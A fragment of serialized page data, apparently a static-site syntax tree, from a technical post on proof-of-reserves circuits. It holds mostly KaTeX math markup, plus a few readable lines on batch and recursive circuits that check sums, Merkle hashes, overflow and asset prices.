266},{"type":25,"tag":216,"props":98232,"children":98234},{"className":98233},[246,2145],[98235],{"type":31,"value":2190},{"type":25,"tag":216,"props":98237,"children":98239},{"className":98238},[246,2145],[98240],{"type":31,"value":2928},{"type":25,"tag":216,"props":98242,"children":98244},{"className":98243,"style":2746},[246],[98245],{"type":31,"value":7025},{"type":25,"tag":216,"props":98247,"children":98249},{"className":98248},[246,2145],[98250],{"type":31,"value":162},{"type":25,"tag":216,"props":98252,"children":98254},{"className":98253},[246,2145],[98255],{"type":31,"value":97003},{"type":25,"tag":216,"props":98257,"children":98259},{"className":98258},[246,2145],[98260],{"type":31,"value":2928},{"type":25,"tag":216,"props":98262,"children":98264},{"className":98263,"style":2746},[246],[98265],{"type":31,"value":7025},{"type":25,"tag":216,"props":98267,"children":98269},{"className":98268},[246,2145],[98270],{"type":31,"value":97019},{"type":25,"tag":216,"props":98272,"children":98274},{"className":98273,"style":97023},[246,2145],[98275],{"type":31,"value":97026},{"type":25,"tag":216,"props":98277,"children":98279},{"className":98278},[246,2145],[98280],{"type":31,"value":97032},{"type":25,"tag":216,"props":98282,"children":98284},{"className":98283},[246,2145],[98285],{"type":31,"value":97038},{"type":25,"tag":216,"props":98287,"children":98289},{"className":98288},[246],[98290,98295],{"type":25,"tag":216,"props":98291,"children":98293},{"className":98292},[246,2145],[98294],{"type":31,"value":3239},{"type":25,"tag":216,"props":98296,"children":98298},{"className":98297},[2153],[98299],{"type":25,"tag":216,"props":98300,"children":98302},{"className":98301},[298,299],[98303,98332],{"type":25,"tag":216,"props":98304,"children":98306},{"className":98305},[304],[98307,98327],{"type":25,"tag":216,"props":98308,"children":98310},{"className":98309,"style":2264},[309],[98311],{"type":25,"tag":216,"props":98312,"children":98313},{"style":2268},[98314,98318],{"type":25,"tag":216,"props":98315,"children":98317},{"className":98316,"style":2175},[319],[],{"type":25,"tag":216,"props":98319,"children":98321},{"className":98320},[2180,2181,2182,2183],[98322],{"type":25,"tag":216,"props":98323,"children":98325},{"className":98324},[246,2145,2183],[98326],{"type":31,"value":2283},{"type":25,"tag":216,"props":98328,"children":98330},{"className":98329},[408],[98331],{"type":31,"value":411},{"type":25,"tag":216,"props":98333,"children":98335},{"className":98334},[304],[98336],{"type":25,"tag":216,"props":98337,"children":98339},{"className":98338,"style":2203},[309],[98340],{"type":25,"tag":216,"props":98341,"children":98342},{},[],{"type":25,"tag":216,"props":98344,"children":98346},{"className":98345},[287],[98347],{"type":31,"value":7695},{"type":25,"tag":216,"props":98349,"children":98351},{"className":98350},[246,2145],[98352],{"type":31,"value":162},{"type":25,"tag":216,"props":98354,"children":98356},{"className":98355},[246,2145],[98357],{"type":31,"value":97003},{"type":25,"tag":216,"props":98359,"children":98361},{"className":98360},[246,2145],[98362],{"type":31,"value":2928},{"type":25,"tag":216,"props":98364,"children":98366},{"className":98365,"style":2746},[246],[98367],{"type":31,"value":7025},{"type":25,"tag":216,"props":98369,"children":98371},{"className":98370},[246,2145],[98372],{"type":31,"value":2190},{"type":25,"tag":216,"props":98374,"children":98376},{"className":98375},[246,2145],[98377],{"type":31,"value":97266},{"type":25,"tag":216,"props":98379,"children":98381},{"className":98380},[246,2145],[98382],{"type":31,"value":55096},{"type":25,"tag":216,"props":98384,"children":98386},{"className":98385},[427],[98387],{"type":31,"value":19362},{"type":31,"value":10403},{"type":25,"tag":9267,"props":98390,"children":98391},{},[98392],{"type":31,"value":98393},"(sum proof)",{"type":25,"tag":2037,"props":98395,"children":98396},{},[98397,98785,98786],{"type":25,"tag":82,"props":98398,"children":98400},{"className":98399},[212,4696],[98401],{"type":25,"tag":216,"props":98402,"children":98404},{"className":98403},[224],[98405],{"type":25,"tag":216,"props":98406,"children":98408},{"className":98407,"ariaHidden":230},[229],[98409,98494],{"type":25,"tag":216,"props":98410,"children":98412},{"className":98411},[235],[98413,98417,98422,98428,98434,98439,98444,98449,98454,98460,98465,98471,98476,98481,98485,98490],{"type":25,"tag":216,"props":98414,"children":98416},{"className":98415,"style":241},[240],[],{"type":25,"tag":216,"props":98418,"children":98420},{"className":98419},[246,2145],[98421],{"type":31,"value":55096},{"type":25,"tag":216,"props":98423,"children":98425},{"className":98424,"style":2746},[246,2145],[98426],{"type":31,"value":98427},"er",{"type":25,"tag":216,"props":98429,"children":98432},{"className":98430,"style":98431},[246,2145],"margin-right:0.03148em;",[98433],{"type":31,"value":92649},{"type":25,"tag":216,"props":98435,"children":98437},{"className":98436,"style":97023},[246,2145],[98438],{"type":31,"value":97026},{"type":25,"tag":216,"props":98440,"children":98442},{"className":98441},[246,2145],[98443],{"type":31,"value":2393},{"type":25,"tag":216,"props":98445,"children":98447},{"className":98446,"style":2746},[246],[98448],{"type":31,"value":7025},{"type":25,"tag":216,"props":98450,"children":98452},{"className":98451},[246,2145],[98453],{"type":31,"value":2928},{"type":25,"tag":216,"props":98455,"children":98457},{"className":98456},[246,2145],[98458],{"type":31,"value":98459},"ree",{"type":25,"tag":216,"props":98461,"children":98463},{"className":98462,"style":2746},[246],[98464],{"type":31,"value":7025},{"type":25,"tag":216,"props":98466,"children":98468},{"className":98467},[246,2145],[98469],{"type":31,"value":98470},"ha",{"type":25,"tag":216,"props":98472,"children":98474},{"className":98473},[246,2145],[98475],{"type":31,"value":3239},{"type":25,"tag":216,"props":98477,"children":98479},{"className":98478},[246,2145],[98480],{"type":31,"value":2605},{"type":25,"tag":216,"props":98482,"children":98484},{"className":98483,"style":258},[257],[],{"type":25,"tag":216,"props":98486,"children":98488},{"className":98487},[263],[98489],{"type":31,"value":12522},{"type":25,"tag":216,"props":98491,"children":98493},{"className":98492,"style":258},[257],[],{"type":25,"tag":216,"props":98495,"children":98497},{"className":98496},[235],[98498,98502,98507,98512,98517,98522,98527,98532,98537,98542,98547,98604,98609,98613,98618,98623,98680,98685,98690,98694,98699,98704,98708,98713,98718,98780],{"type":25,"tag":216,"props":98499,"children":98501},{"className":98500,"style":5507},[240],[],{"type":25,"tag":216,"props":98503,"children":98505},{"className":98504,"style":2146},[246,2145],[98506],{"type":31,"value":2149},{"type":25,"tag":216,"props":98508,"children":98510},{"className":98509},[246,2145],[98511],{"type":31,"value":96966},{"type":25,"tag":216,"props":98513,"children":98515},{"className":98514},[246,2145],[98516],{"type":31,"value":2283},{"type":25,"tag":216,"props":98518,"children":98520},{"className":98519},[246,2145],[98521],{"type":31,"value":74528},{"type":25,"tag":216,"props":98523,"children":98525},{"className":98524},[246,2145],[98526],{"type":31,"value":96982},{"type":25,"tag":216,"props":98528,"children":98530},{"className":98529},[246,2145],[98531],{"type":31,"value":2190},{"type":25,"tag":216,"props":98533,"children":98535},{"className":98534},[287],[98536],{"type":31,"value":1844},{"type":25,"tag":216,"props":98538,"children":98540},{"className":98539},[246,2145],[98541],{"type":31,"value":98470},{"type":25,"tag":216,"props":98543,"children":98545},{"className":98544},[246,2145],[98546],{"type":31,"value":3239},{"type":25,"tag":216,"props":98548,"children":98550},{"className":98549},[246],[98551,98556],{"type":25,"tag":216,"props":98552,"children":98554},{"className":98553},[246,2145],[98555],{"type":31,"value":2605},{"type":25,"tag":216,"props":98557,"children":98559},{"className":98558},[2153],[98560],{"type":25,"tag":216,"props":98561,"children":98563},{"className":98562},[298,299],[98564,98593],{"type":25,"tag":216,"props":98565,"children":98567},{"className":98566},[304],[98568,98588],{"type":25,"tag":216,"props":98569,"children":98571},{"className":98570,"style":97063},[309],[98572],{"type":25,"tag":216,"props":98573,"children":98574},{"style":2268},[98575,98579],{"type":25,"tag":216,"props":98576,"children":98578},{"className":98577,"style":2175},[319],[],{"type":25,"tag":216,"props":98580,"children":98582},{"className":98581},[2180,2181,2182,2183],[98583],{"type":25,"tag":216,"props":98584,"children":98586},{"className":98585},[246,2183],[98587],{"type":31,"value":1876},{"type":25,"tag":216,"props":98589,"children":98591},{"className":98590},[408],[98592],{"type":31,"value":411},{"type":25,"tag":216,"props":98594,"children":98596},{"className":98595},[304],[98597],{"type":25,"tag":216,"props":98598,"children":98600},{"className":98599,"style":2203},[309],[98601],{"type":25,"tag":216,"props":98602,"children":98603},{},[],{"type":25,"tag":216,"props":98605,"children":98607},{"className":98606},[1858],[98608],{"type":31,"value":1861},{"type":25,"tag":216,"props":98610,"children":98612},{"className":98611,"style":1865},[257],[],{"type":25,"tag":216,"props":98614,"children":98616},{"className":98615},[246,2145],[98617],{"type":31,"value":98470},{"type":25,"tag":216,"props":98619,"children":98621},{"className":98620},[246,2145],[98622],{"type":31,"value":3239},{"type":25,"tag":216,"props":98624,"children":98626},{"className":98625},[246],[98627,98632],{"type":25,"tag":216,"props":98628,"children":98630},{"className":98629},[246,2145],[98631],{"type":31,"value":2605},{"type":25,"tag":216,"props":98633,"children":98635},{"className":98634},[2153],[98636],{"type":25,"tag":216,"props":98637,"children":98639},{"className":98638},[298,299],[98640,98669],{"type":25,"tag":216,"props":98641,"children":98643},{"className":98642},[304],[98644,98664],{"type":25,"tag":216,"props":98645,"children":98647},{"className":98646,"style":97063},[309],[98648],{"type":25,"tag":216,"props":98649,"children":98650},{"style":2268},[98651,98655],{"type":25,"tag":216,"props":98652,"children":98654},{"className":98653,"style":2175},[319],[],{"type":25,"tag":216,"props":98656,"children":98658},{"className":98657},[2180,2181,2182,2183],[98659],{"type":25,"tag":216,"props":98660,"children":98662},{"className":98661},[246,2183],[98663],{"type":31,"value":184},{"type":25,"tag":216,"props":98665,"children":98667},{"className":98666},[408],[98668],{"type":31,"value":411},{"type":25,"tag":216,"props":98670,"children":98672},{"className":98671},[304],[98673],{"type":25,"tag":216,"props":98674,"children":98676},{"className":98675,"style":2203},[309],[98677],{"type":25,"tag":216,"props":98678,"children":98679},{},[],{"type":25,"tag":216,"props":98681,"children":98683},{"className":98682},[1858],[98684],{"type":31,"value":1861},{"type":25,"tag":216,"props":98686,"children":98688},{"className":98687},[257],[98689],{"type":31,"value":25635},{"type":25,"tag":216,"props":98691,"children":98693},{"className":98692,"style":1865},[257],[],{"type":25,"tag":216,"props":98695,"children":98697},{"className":98696},[246],[98698],{"type":31,"value":13541},{"type":25,"tag":216,"props":98700,"children":98702},{"className":98701},[1858],[98703],{"type":31,"value":1861},{"type":25,"tag":216,"props":98705,"children":98707},{"className":98706,"style":1865},[257],[],{"type":25,"tag":216,"props":98709,"children":98711},{"className":98710},[246,2145],[98712],{"type":31,"value":98470},{"type":25,"tag":216,"props":98714,"children":98716},{"className":98715},[246,2145],[98717],{"type":31,"value":3239},{"type":25,"tag":216,"props":98719,"children":98721},{"className":98720},[246],[98722,98727],{"type":25,"tag":216,"props":98723,"children":98725},{"className":98724},[246,2145],[98726],{"type":31,"value":2605},{"type":25,"tag":216,"props":98728,"children":98730},{"className":98729},[2153],[98731],{"type":25,"tag":216,"props":98732,"children":98734},{"className":98733},[298,299],[98735,98769],{"type":25,"tag":216,"props":98736,"children":98738},{"className":98737},[304],[98739,98764],{"type":25,"tag":216,"props":98740,"children":98742},{"className":98741,"style":97063},[309],[98743],{"type":25,"tag":216,"props":98744,"children":98745},{"style":2268},[98746,98750],{"type":25,"tag":216,"props":98747,"children":98749},{"className":98748,"style":2175},[319],[],{"type":25,"tag":216,"props":98751,"children":98753},{"className":98752},[2180,2181,2182,2183],[98754],{"type":25,"tag":216,"props":98755,"children":98757},{"className":98756},[246,2183],[98758],{"type":25,"tag":216,"props":98759,"children":98761},{"className":98760},[246,2183],[98762],{"type":31,"value":98763},"511",{"type":25,"tag":216,"props":98765,"children":98767},{"className":98766},[408],[98768],{"type":31,"value":411},{"type":25,"tag":216,"props":98770,"children":98772},{"className":98771},[304],[98773],{"type":25,"tag":216,"props":98774,"children":98776},{"className":98775,"style":2203},[309],[98777],{"type":25,"tag":216,"props":98778,"children":98779},{},[],{"type":25,"tag":216,"props":98781,"children":98783},{"className":98782},[427],[98784],{"type":31,"value":1882},{"type":31,"value":10403},{"type":25,"tag":9267,"props":98787,"children":98788},{},[98789],{"type":31,"value":98790},"(merkle tree hash)",{"type":25,"tag":2037,"props":98792,"children":98793},{},[98794,99066,99067,99072,99074,99079],{"type":25,"tag":82,"props":98795,"children":98797},{"className":98796},[212,4696],[98798],{"type":25,"tag":216,"props":98799,"children":98801},{"className":98800},[224],[98802],{"type":25,"tag":216,"props":98803,"children":98805},{"className":98804,"ariaHidden":230},[229],[98806,98999],{"type":25,"tag":216,"props":98807,"children":98809},{"className":98808},[235],[98810,98814,98819,98824,98829,98834,98839,98844,98849,98854,98859,98864,98869,98874,98879,98884,98941,98946,98951,98956,98961,98966,98971,98976,98981,98986,98990,98995],{"type":25,"tag":216,"props":98811,"children":98813},{"className":98812,"style":96954},[240],[],{"type":25,"tag":216,"props":98815,"children":98817},{"className":98816},[246,2145],[98818],{"type":31,"value":162},{"type":25,"tag":216,"props":98820,"children":98822},{"className":98821},[246,2145],[98823],{"type":31,"value":97464},{"type":25,"tag":216,"props":98825,"children":98827},{"className":98826},[246,2145],[98828],{"type":31,"value":97266},{"type":25,"tag":216,"props":98830,"children":98832},{"className":98831},[246,2145],[98833],{"type":31,"value":2190},{"type":25,"tag":216,"props":98835,"children":98837},{"className":98836},[246,2145],[98838],{"type":31,"value":2928},{"type":25,"tag":216,"props":98840,"children":98842},{"className":98841,"style":2746},[246],[98843],{"type":31,"value":7025},{"type":25,"tag":216,"props":98845,"children":98847},{"className":98846},[246,2145],[98848],{"type":31,"value":162},{"type":25,"tag":216,"props":98850,"children":98852},{"className":98851},[246,2145],[98853],{"type":31,"value":97003},{"type":25,"tag":216,"props":98855,"children":98857},{"className":98856},[246,2145],[98858],{"type":31,"value":2928},{"type":25,"tag":216,"props":98860,"children":98862},{"className":98861,"style":2746},[246],[98863],{"type":31,"value":7025},{"type":25,"tag":216,"props":98865,"children":98867},{"className":98866},[246,2145],[98868],{"type":31,"value":97019},{"type":25,"tag":216,"props":98870,"children":98872},{"className":98871,"style":97023},[246,2145],[98873],{"type":31,"value":97026},{"type":25,"tag":216,"props":98875,"children":98877},{"className":98876},[246,2145],[98878],{"type":31,"value":97032},{"type":25,"tag":216,"props":98880,"children":98882},{"className":98881},[246,2145],[98883],{"type":31,"value":97038},{"type":25,"tag":216,"props":98885,"children":98887},{"className":98886},[246],[98888,98893],{"type":25,"tag":216,"props":98889,"children":98891},{"className":98890},[246,2145],[98892],{"type":31,"value":3239},{"type":25,"tag":216,"props":98894,"children":98896},{"className":98895},[2153],[98897],{"type":25,"tag":216,"props":98898,"children":98900},{"className":98899},[298,299],[98901,98930],{"type":25,"tag":216,"props":98902,"children":98904},{"className":98903},[304],[98905,98925],{"type":25,"tag":216,"props":98906,"children":98908},{"className":98907,"style":2264},[309],[98909],{"type":25,"tag":216,"props":98910,"children":98911},{"style":2268},[98912,98916],{"type":25,"tag":216,"props":98913,"children":98915},{"className":98914,"style":2175},[319],[],{"type":25,"tag":216,"props":98917,"children":98919},{"className":98918},[2180,2181,2182,2183],[98920],{"type":25,"tag":216,"props":98921,"children":98923},{"className":98922},[246,2145,2183],[98924],{"type":31,"value":2283},{"type":25,"tag":216,"props":98926,"children":98928},{"className":98927},[408],[98929],{"type":31,"value":411},{"type":25,"tag":216,"props":98931,"children":98933},{"className":98932},[304],[98934],{"type":25,"tag":216,"props":98935,"children":98937},{"className":98936,"style":2203},[309],[98938],{"type":25,"tag":216,"props":98939,"children":98940},{},[],{"type":25,"tag":216,"props":98942,"children":98944},{"className":98943},[287],[98945],{"type":31,"value":7695},{"type":25,"tag":216,"props":98947,"children":98949},{"className":98948},[246,2145],[98950],{"type":31,"value":162},{"type":25,"tag":216,"props":98952,"children":98954},{"className":98953},[246,2145],[98955],{"type":31,"value":97003},{"type":25,"tag":216,"props":98957,"children":98959},{"className":98958},[246,2145],[98960],{"type":31,"value":2928},{"type":25,"tag":216,"props":98962,"children":98964},{"className":98963,"style":2746},[246],[98965],{"type":31,"value":7025},{"type":25,"tag":216,"props":98967,"children":98969},{"className":98968},[246,2145],[98970],{"type":31,"value":2190},{"type":25,"tag":216,"props":98972,"children":98974},{"className":98973},[246,2145],[98975],{"type":31,"value":97266},{"type":25,"tag":216,"props":98977,"children":98979},{"className":98978},[246,2145],[98980],{"type":31,"value":55096},{"type":25,"tag":216,"props":98982,"children":98984},{"className":98983},[427],[98985],{"type":31,"value":19362},{"type":25,"tag":216,"props":98987,"children":98989},{"className":98988,"style":258},[257],[],{"type":25,"tag":216,"props":98991,"children":98993},{"className":98992},[263],[98994],{"type":31,"value":9751},{"type":25,"tag":216,"props":98996,"children":98998},{"className":98997,"style":258},[257],[],{"type":25,"tag":216,"props":99000,"children":99002},{"className":99001},[235],[99003,99007,99013,99018,99023,99028,99033,99038,99044,99049,99054,99060],{"type":25,"tag":216,"props":99004,"children":99006},{"className":99005,"style":96954},[240],[],{"type":25,"tag":216,"props":99008,"children":99010},{"className":99009,"style":2818},[246,2145],[99011],{"type":31,"value":99012},"M",{"type":25,"tag":216,"props":99014,"children":99016},{"className":99015},[246,2145],[99017],{"type":31,"value":80733},{"type":25,"tag":216,"props":99019,"children":99021},{"className":99020,"style":2223},[246,2145],[99022],{"type":31,"value":10078},{"type":25,"tag":216,"props":99024,"children":99026},{"className":99025,"style":2746},[246],[99027],{"type":31,"value":7025},{"type":25,"tag":216,"props":99029,"children":99031},{"className":99030,"style":5263},[246,2145],[99032],{"type":31,"value":5266},{"type":25,"tag":216,"props":99034,"children":99036},{"className":99035},[246,2145],[99037],{"type":31,"value":80733},{"type":25,"tag":216,"props":99039,"children":99041},{"className":99040,"style":5263},[246,2145],[99042],{"type":31,"value":99043},"FE",{"type":25,"tag":216,"props":99045,"children":99047},{"className":99046,"style":2746},[246],[99048],{"type":31,"value":7025},{"type":25,"tag":216,"props":99050,"children":99052},{"className":99051,"style":2223},[246,2145],[99053],{"type":31,"value":2226},{"type":25,"tag":216,"props":99055,"children":99057},{"className":99056,"style":2146},[246,2145],[99058],{"type":31,"value":99059},"NT",{"type":25,"tag":216,"props":99061,"children":99063},{"className":99062},[246],[99064],{"type":31,"value":99065},"/512",{"type":31,"value":10403},{"type":25,"tag":9267,"props":99068,"children":99069},{},[99070],{"type":31,"value":99071},"(overflow check)",{"type":31,"value":99073}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":25,"tag":82,"props":99075,"children":99077},{"className":99076},[],[99078],{"type":31,"value":96870},{"type":31,"value":1882},{"type":25,"tag":38,"props":99081,"children":99082},{},[99083],{"type":31,"value":99084},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":25,"tag":38,"props":99086,"children":99087},{},[99088],{"type":25,"tag":6461,"props":99089,"children":99091},{"alt":54541,"src":99090},"/posts/por/batch-circuit-inputs.png",[],{"type":25,"tag":607,"props":99093,"children":99095},{"id":99094},"recursive-circuit",[99096],{"type":31,"value":99097},"Recursive Circuit",{"type":25,"tag":38,"props":99099,"children":99100},{},[99101],{"type":31,"value":99102},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":25,"tag":38,"props":99104,"children":99105},{},[99106],{"type":25,"tag":9267,"props":99107,"children":99108},{},[99109],{"type":31,"value":97379},{"type":25,"tag":2033,"props":99111,"children":99112},{},[99113,99117,99122],{"type":25,"tag":2037,"props":99114,"children":99115},{},[99116],{"type":31,"value":97397},{"type":25,"tag":2037,"props":99118,"children":99119},{},[99120],{"type":31,"value":99121},"Asset prices",{"type":25,"tag":2037,"props":99123,"children":99124},{},[99125],{"type":31,"value":97392},{"type":25,"tag":38,"props":99127,"children":99128},{},[99129],{"type":25,"tag":9267,"props":99130,"children":99131},{},[99132],{"type":31,"value":97405},{"type":25,"tag":2033,"props":99134,"children":99135},{},[99136],{"type":25,"tag":2037,"props":99137,"children":99138},{},[99139],{"type":31,"value":99140},"8 subproofs",{"type":25,"tag":38,"props":99142,"children":99143},{},[99144],{"type":25,"tag":9267,"props":99145,"children":99146},{},[99147],{"type":31,"value":97426},{"type":25,"tag":2033,"props":99149,"children":99150},{},[99151,99561,99892,100259,100646],{"type":25,"tag":2037,"props":99152,"children":99153},{},[99154,99556,99557],{"type":25,"tag":82,"props":99155,"children":99157},{"className":99156},[212,4696],[99158],{"type":25,"tag":216,"props":99159,"children":99161},{"className":99160},[224],[99162],{"type":25,"tag":216,"props":99163,"children":99165},{"className":99164,"ariaHidden":230},[229],[99166,99302],{"type":25,"tag":216,"props":99167,"children":99169},{"className":99168},[235],[99170,99174,99179,99184,99189,99194,99199,99204,99209,99214,99219,99224,99229,99234,99239,99244,99249,99254,99259,99264,99269,99274,99279,99284,99289,99293,99298],{"type":25,"tag":216,"props":99171,"children":99173},{"className":99172,"style":96954},[240],[],{"type":25,"tag":216,"props":99175,"children":99177},{"className":99176},[246,2145],[99178],{"type":31,"value":2928},{"type":25,"tag":216,"props":99180,"children":99182},{"className":99181},[246,2145],[99183],{"type":31,"value":96982},{"type":25,"tag":216,"props":99185,"children":99187},{"className":99186},[246,2145],[99188],{"type":31,"value":2928},{"type":25,"tag":216,"props":99190,"children":99192},{"className":99191},[246,2145],[99193],{"type":31,"value":162},{"type":25,"tag":216,"props":99195,"children":99197},{"className":99196,"style":97023},[246,2145],[99198],{"type":31,"value":97026},{"type":25,"tag":216,"props":99200,"children":99202},{"className":99201,"style":2746},[246],[99203],{"type":31,"value":7025},{"type":25,"tag":216,"props":99205,"children":99207},{"className":99206},[246,2145],[99208],{"type":31,"value":162},{"type":25,"tag":216,"props":99210,"children":99212},{"className":99211},[246,2145],[99213],{"type":31,"value":97003},{"type":25,"tag":216,"props":99215,"children":99217},{"className":99216},[246,2145],[99218],{"type":31,"value":2928},{"type":25,"tag":216,"props":99220,"children":99222},{"className":99221,"style":2746},[246],[99223],{"type":31,"value":7025},{"type":25,"tag":216,"props":99225,"children":99227},{"className":99226},[246,2145],[99228],{"type":31,"value":97019},{"type":25,"tag":216,"props":99230,"children":99232},{"className":99231,"style":97023},[246,2145],[99233],{"type":31,"value":97026},{"type":25,"tag":216,"props":99235,"children":99237},{"className":99236},[246,2145],[99238],{"type":31,"value":97032},{"type":25,"tag":216,"props":99240,"children":99242},{"className":99241},[246,2145],[99243],{"type":31,"value":97038},{"type":25,"tag":216,"props":99245,"children":99247},{"className":99246},[287],[99248],{"type":31,"value":7695},{"type":25,"tag":216,"props":99250,"children":99252},{"className":99251},[246,2145],[99253],{"type":31,"value":162},{"type":25,"tag":216,"props":99255,"children":99257},{"className":99256},[246,2145],[99258],{"type":31,"value":97003},{"type":25,"tag":216,"props":99260,"children":99262},{"className":99261},[246,2145],[99263],{"type":31,"value":2928},{"type":25,"tag":216,"props":99265,"children":99267},{"className":99266,"style":2746},[246],[99268],{"type":31,"value":7025},{"type":25,"tag":216,"props":99270,"children":99272},{"className":99271},[246,2145],[99273],{"type":31,"value":2190},{"type":25,"tag":216,"props":99275,"children":99277},{"className":99276},[246,2145],[99278],{"type":31,"value":97266},{"type":25,"tag":216,"props":99280,"children":99282},{"className":99281},[246,2145],[99283],{"type":31,"value":55096},{"type":25,"tag":216,"props":99285,"children":99287},{"className":99286},[427],[99288],{"type":31,"value":19362},{"type":25,"tag":216,"props":99290,"children":99292},{"className":99291,"style":258},[257],[],{"type":25,"tag":216,"props":99294,"children":99296},{"className":99295},[263],[99297],{"type":31,"value":12522},{"type":25,"tag":216,"props":99299,"children":99301},{"className":99300,"style":258},[257],[],{"type":25,"tag":216,"props":99303,"children":99305},{"className":99304},[235],[99306,99310,99315,99320,99325,99330,99335,99340,99346,99405,99410,99415,99420,99425,99430,99435,99440,99445,99451,99456,99461,99466,99471,99476,99481,99486,99491,99496,99501,99506,99511,99516,99521,99526,99531,99536,99541,99546,99551],{"type":25,"tag":216,"props":99307,"children":99309},{"className":99308,"style":96954},[240],[],{"type":25,"tag":216,"props":99311,"children":99313},{"className":99312},[246],[99314],{"type":31,"value":97594},{"type":25,"tag":216,"props":99316,"children":99318},{"className":99317},[257],[99319],{"type":31,"value":25635},{"type":25,"tag":216,"props":99321,"children":99323},{"className":99322},[246,2145],[99324],{"type":31,"value":3239},{"type":25,"tag":216,"props":99326,"children":99328},{"className":99327},[246,2145],[99329],{"type":31,"value":97266},{"type":25,"tag":216,"props":99331,"children":99333},{"className":99332},[246,2145],[99334],{"type":31,"value":7165},{"type":25,"tag":216,"props":99336,"children":99338},{"className":99337},[246,2145],[99339],{"type":31,"value":38},{"type":25,"tag":216,"props":99341,"children":99343},{"className":99342},[246,2145],[99344],{"type":31,"value":99345},"roo",{"type":25,"tag":216,"props":99347,"children":99349},{"className":99348},[246],[99350,99356],{"type":25,"tag":216,"props":99351,"children":99354},{"className":99352,"style":99353},[246,2145],"margin-right:0.10764em;",[99355],{"type":31,"value":37041},{"type":25,"tag":216,"props":99357,"children":99359},{"className":99358},[2153],[99360],{"type":25,"tag":216,"props":99361,"children":99363},{"className":99362},[298,299],[99364,99394],{"type":25,"tag":216,"props":99365,"children":99367},{"className":99366},[304],[99368,99389],{"type":25,"tag":216,"props":99369,"children":99371},{"className":99370,"style":2264},[309],[99372],{"type":25,"tag":216,"props":99373,"children":99375},{"style":99374},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[99376,99380],{"type":25,"tag":216,"props":99377,"children":99379},{"className":99378,"style":2175},[319],[],{"type":25,"tag":216,"props":99381,"children":99383},{"className":99382},[2180,2181,2182,2183],[99384],{"type":25,"tag":216,"props":99385,"children":99387},{"className":99386},[246,2145,2183],[99388],{"type":31,"value":2283},{"type":25,"tag":216,"props":99390,"children":99392},{"className":99391},[408],[99393],{"type":31,"value":411},{"type":25,"tag":216,"props":99395,"children":99397},{"className":99396},[304],[99398],{"type":25,"tag":216,"props":99399,"children":99401},{"className":99400,"style":2203},[309],[99402],{"type":25,"tag":216,"props":99403,"children":99404},{},[],{"type":25,"tag":216,"props":99406,"children":99408},{"className":99407},[246],[99409],{"type":31,"value":179},{"type":25,"tag":216,"props":99411,"children":99413},{"className":99412},[246,2145],[99414],{"type":31,"value":38},{"type":25,"tag":216,"props":99416,"children":99418},{"className":99417},[246,2145],[99419],{"type":31,"value":97266},{"type":25,"tag":216,"props":99421,"children":99423},{"className":99422},[246,2145],[99424],{"type":31,"value":7165},{"type":25,"tag":216,"props":99426,"children":99428},{"className":99427,"style":97023},[246,2145],[99429],{"type":31,"value":97026},{"type":25,"tag":216,"props":99431,"children":99433},{"className":99432},[246,2145],[99434],{"type":31,"value":2283},{"type":25,"tag":216,"props":99436,"children":99438},{"className":99437},[246,2145],[99439],{"type":31,"value":2248},{"type":25,"tag":216,"props":99441,"children":99443},{"className":99442,"style":2746},[246],[99444],{"type":31,"value":7025},{"type":25,"tag":216,"props":99446,"children":99448},{"className":99447},[246,2145],[99449],{"type":31,"value":99450},"in",{"type":25,"tag":216,"props":99452,"children":99454},{"className":99453},[246,2145],[99455],{"type":31,"value":38},{"type":25,"tag":216,"props":99457,"children":99459},{"className":99458},[246,2145],[99460],{"type":31,"value":97266},{"type":25,"tag":216,"props":99462,"children":99464},{"className":99463},[246,2145],[99465],{"type":31,"value":2928},{"type":25,"tag":216,"props":99467,"children":99469},{"className":99468},[246],[99470],{"type":31,"value":179},{"type":25,"tag":216,"props":99472,"children":99474},{"className":99473},[246,2145],[99475],{"type":31,"value":162},{"type":25,"tag":216,"props":99477,"children":99479},{"className":99478},[246,2145],[99480],{"type":31,"value":97003},{"type":25,"tag":216,"props":99482,"children":99484},{"className":99483},[246,2145],[99485],{"type":31,"value":2928},{"type":25,"tag":216,"props":99487,"children":99489},{"className":99488,"style":2746},[246],[99490],{"type":31,"value":7025},{"type":25,"tag":216,"props":99492,"children":99494},{"className":99493},[246,2145],[99495],{"type":31,"value":97019},{"type":25,"tag":216,"props":99497,"children":99499},{"className":99498,"style":97023},[246,2145],[99500],{"type":31,"value":97026},{"type":25,"tag":216,"props":99502,"children":99504},{"className":99503},[246,2145],[99505],{"type":31,"value":97032},{"type":25,"tag":216,"props":99507,"children":99509},{"className":99508},[246,2145],[99510],{"type":31,"value":97834},{"type":25,"tag":216,"props":99512,"children":99514},{"className":99513},[287],[99515],{"type":31,"value":7695},{"type":25,"tag":216,"props":99517,"children":99519},{"className":99518},[246,2145],[99520],{"type":31,"value":162},{"type":25,"tag":216,"props":99522,"children":99524},{"className":99523},[246,2145],[99525],{"type":31,"value":97003},{"type":25,"tag":216,"props":99527,"children":99529},{"className":99528},[246,2145],[99530],{"type":31,"value":2928},{"type":25,"tag":216,"props":99532,"children":99534},{"className":99533,"style":2746},[246],[99535],{"type":31,"value":7025},{"type":25,"tag":216,"props":99537,"children":99539},{"className":99538},[246,2145],[99540],{"type":31,"value":2190},{"type":25,"tag":216,"props":99542,"children":99544},{"className":99543},[246,2145],[99545],{"type":31,"value":97266},{"type":25,"tag":216,"props":99547,"children":99549},{"className":99548},[246,2145],[99550],{"type":31,"value":55096},{"type":25,"tag":216,"props":99552,"children":99554},{"className":99553},[427],[99555],{"type":31,"value":19362},{"type":31,"value":10403},{"type":25,"tag":9267,"props":99558,"children":99559},{},[99560],{"type":31,"value":98393},{"type":25,"tag":2037,"props":99562,"children":99563},{},[99564],{"type":25,"tag":82,"props":99565,"children":99567},{"className":99566},[212,4696],[99568],{"type":25,"tag":216,"props":99569,"children":99571},{"className":99570},[224],[99572],{"type":25,"tag":216,"props":99573,"children":99575},{"className":99574,"ariaHidden":230},[229],[99576,99682],{"type":25,"tag":216,"props":99577,"children":99579},{"className":99578},[235],[99580,99584,99589,99594,99599,99604,99609,99614,99619,99624,99629,99634,99639,99644,99649,99654,99659,99664,99669,99673,99678],{"type":25,"tag":216,"props":99581,"children":99583},{"className":99582,"style":96954},[240],[],{"type":25,"tag":216,"props":99585,"children":99587},{"className":99586},[246,2145],[99588],{"type":31,"value":162},{"